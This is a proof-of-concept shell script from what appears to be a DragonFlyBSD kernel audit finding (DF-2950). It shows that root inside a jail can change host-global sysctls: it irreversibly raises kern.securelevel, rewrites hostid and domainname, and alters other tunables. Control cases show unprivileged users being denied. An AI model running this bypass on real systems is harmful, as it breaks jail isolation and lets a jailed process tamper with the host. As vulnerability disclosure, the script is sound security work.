DragonFlyBSD Kernel Audit
DF-2950 / poc_jail_sysctl2.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2950 PoC run 2: corrected [5] (real unpriv host user via su),
# no uncapped jail-hostname write (that triggers known DF-0181 wedge).
set -x
date; uname -r; sysctl kern.securelevel kern.hostid kern.domainname

echo '=== [1] jailed uid-0 raises HOST kern.securelevel ==='
jail / df2950ja 127.0.0.4 /bin/sh -c 'id; sysctl -w kern.securelevel=1'
echo "rc=$?"
echo '=== [2] HOST root cannot lower it (irreversible) ==='
sysctl -w kern.securelevel=0
echo "host-root lower rc=$?"
echo '=== [3] jailed uid-0 corrupts HOST hostid/domainname ==='
jail / df2950jb 127.0.0.4 /bin/sh -c 'sysctl -w kern.hostid=4242; sysctl -w kern.domainname=pwned-by-jail'
sysctl kern.hostid kern.domainname
echo '=== [4] jailed NON-root denied ==='
jail / df2950jc 127.0.0.4 /bin/sh -c 'su -m nobody -c "sysctl -w kern.hostid=7"'
echo "rc=$?"
echo '=== [5] HOST unprivileged user denied (via su maxx) ==='
su -m maxx -c 'id; sysctl -w kern.hostid=7'
echo "rc=$?"
sysctl kern.hostid
echo '=== [6] jailed uid-0 can also write other host-global tunables ==='
jail / df2950jd 127.0.0.4 /bin/sh -c 'sysctl -w kern.maxposixlocksperuid=1; sysctl -w kern.tls_extra=777'
sysctl kern.maxposixlocksperuid kern.tls_extra
date
echo DONE-MARKER